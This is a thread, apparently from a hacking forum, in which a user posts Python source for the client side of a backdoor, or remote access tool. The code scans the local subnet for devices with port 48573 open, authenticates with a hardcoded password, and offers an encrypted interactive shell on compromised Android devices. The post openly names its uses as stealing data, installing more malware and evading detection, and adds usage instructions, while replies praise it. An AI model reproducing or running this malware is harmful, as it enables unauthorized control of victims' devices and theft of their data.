

Forum:[Hack Forums](#)

Thread: [A client to control devices through a backdoor](#)

DarkG8 - May 16, 2025, 6:10 am

This program acts as the client side of the backdoor. It scans the network, finds vulnerable devices, and allows you to execute commands on them. Uses encryption (Fernet) to protect data transmission and password authentication.

How it works?

Network Scanning: Determines the local IP and scans the entire subnet (mask /24) for devices with port 48573 open.

Uses multithreading (ThreadPoolExecutor) to speed up the scan.

Connecting to a device: When IP is entered by the user, the program establishes an encrypted connection over port 48573.

It authenticates using the password hash PASSWORD = "paket".

Device management: After successful connection, displays device information (Android model, OS version, backdoor path).

Allows you to enter commands that are encrypted and sent to the device. Responses are decrypted and output to the user.

Connection maintenance: Sends periodic ping messages to maintain an active connection.

What can she do? Detect devices with an active backdoor on the local network.

Execute arbitrary commands on the infected device (for example: run processes, steal data, install additional malware).

Obtain information about the victim's system (device model, OS version).

Mask traffic with encryption to avoid detection.

Key components: Network Scanner - looks for vulnerable devices.

Encryption (Fernet) - protects data from interception.

Stream pooling - speeds up scanning.

Ping mechanism - maintains connection to the device.

Control Panel - interactive interface for entering commands.

Code:

```
Code import time
import socket
import threading
import hashlib
import json
from cryptography.fernet import Fernet
from concurrent.futures import ThreadPoolExecutor
from ipaddress import ip_network, IPv4Address

# Configuration
PORT = 48573
PASSWORD = "paket"
NETWORK_MASK = "/24" # Default subnet mask
MAX_THREADS = 512 # Optimal number of streams
PING_INTERVAL = 10 # Ping interval in seconds

# Encryption
KEY = Fernet.generate_key()
fernet = Fernet(KEY)

# Flow-safe structures
infected_devices = []
ptime = time.time()
ptime_lock = threading.Lock()
devices_lock = threading.Lock()

# Error Logging
def log_error(error: str):
    with open("error.log", "a") as f:
        f.write(f"[{time.ctime()}] {error}\n")

# Obtaining a local IP
def get_local_ip():
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:
            s.connect(("8.8.8.8", 80))
            return s.getsockname()[0]
    except Exception as e:
        log_error(f"Failed to get local IP: {e}")
        return "127.0.0.1"
```

```

# Network scan
def scan(ip: str):
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
            sock.settimeout(1)
            if sock.connect_ex((ip, PORT)) == 0:
                with devices_lock:
                    infected_devices.append(ip)
                print(f"[+] Backdoor device detected: {ip}")
    except Exception as e:
        log_error(f"Scan error ({ip}): {e}")

def scanner():
    local_ip = get_local_ip()
    network = ip_network(f"{local_ip}/{NETWORK_MASK}", strict=False)
    print(f"[+] Network scan: {network}")

    with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
        for ip in network.hosts():
            executor.submit(scan, str(ip))
            time.sleep(0.01) # CPU load reduction

# Ping mechanism
def ping(sock: socket.socket):
    global ptime
    while True:
        try:
            with ptime_lock:
                sock.send(fernet.encrypt(b'ping'))
                ptime = time.time()
            time.sleep(PING_INTERVAL)
        except:
            break

# IP validation
def validate_ip(ip: str) -> bool:
    try:
        return isinstance(ip_address(ip), IPv4Address)
    except:
        return False

# Control panel
def panel(ip: str):
    if not validate_ip(ip):
        print("[-] Invalid IP address")
        return

    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
            sock.settimeout(5)
            sock.connect((ip, PORT))

            # Authentication

```

```

auth_hash = hashlib.sha256(PASSWORD.encode()).hexdigest()
sock.send(fernet.encrypt(auth_hash.encode()))

# Data retrieval
data = fernet.decrypt(sock.recv(1024)).decode()
if data == "AUTH_FAIL":
    print("[-] Incorrect password")
    return

android_model, android_version, backdoor_path = data.split("_|_|")
print(f"[Model: {android_model}]\n[OS version: {android_version}]\n[Backdoor path:
{backdoor_path}]\n")

threading.Thread(target=ping, args=(sock,), daemon=True).start()

# Command interface
while True:
    command = input("[backdoor] > ").strip()
    if not command:
        continue

    # Command encryption
    encrypted_cmd = fernet.encrypt(command.encode())
    sock.send(encrypted_cmd)

    # Receiving a response
    response = fernet.decrypt(sock.recv(4096 * 16))
    print(f"[Response] {response.decode()}")

except Exception as e:
    log_error(f"Panel error: {e}")
    print("[-] Connection error")

```

```

if __name__ == '__main__':
    scanner()
    while True:
        server_ip = input("[?] Enter the IP of the device > ")
        if server_ip.lower() == "exit":
            break
        panel(server_ip)

```

Instructions for use:

Dependency Installation:

Code `pip install cryptography pstyle`

Running the scan:

Code `python client.py` The program will automatically detect the local network and find backdoor devices.

Connecting to the device:

1. Enter the IP from the list of detected IPs.
2. Use the commands: `bash <command>` - execute the command in shell.

`download <path>` - download a file from the device.

upload <local_path> <remote_path> - upload a file.

screenshot - take a screenshot of the screen.

Important: It requires a compatible backdoor with encryption support to be installed on the target devices.

The packet password must be the same on the client and server.

Change NETWORK_MASK in the code if your subnet is different from /24.

What we will need: Python 3.10+

Libraries: cryptography, pstyle

A network with devices running the server part of the backdoor

StinkButt420 - May 16, 2025, 6:32 am

This is simply pretty. VERY GOOD SIR. Very good. I'm just learning programming, and this is exactly the kind of thing I've been wanting to study. (I mean, it gives you a sense of purpose.)

coocochi - May 16, 2025, 7:32 am

So this is basically a RAT client side. Good job OP

DarkG8 - May 17, 2025, 4:14 am

(May 16, 2025 06:32 AM)StinkButt420 Wrote: [\[CITE\]](#) This is simply pretty. VERY GOOD SIR. Very good. I'm just learning programming, and this is exactly the kind of thing I've been wanting to study. (I mean, it gives you a sense of purpose.)
Huge, thank you, that's very supportive of me)

(May 16, 2025 07:32 AM)coocochi Wrote: [\[CITE\]](#) So this is basically a RAT client side. Good job OP
Thank you, too.

maddieme - December 16, 2025, 6:52 am

(May 16, 2025 06:32 AM)StinkButt420 Wrote: [\[CITE\]](#) This is simply pretty. VERY GOOD SIR. Very good. I'm just learning programming, and this is exactly the kind of thing I've been wanting to study. (I mean, it gives you a sense of purpose.)
Nice

DarkG8 - January 31, 2026, 3:51 am

(Dec 16, 2025 07:52 AM)maddieme Wrote: [\[CITE\]](#) Nice
Thank you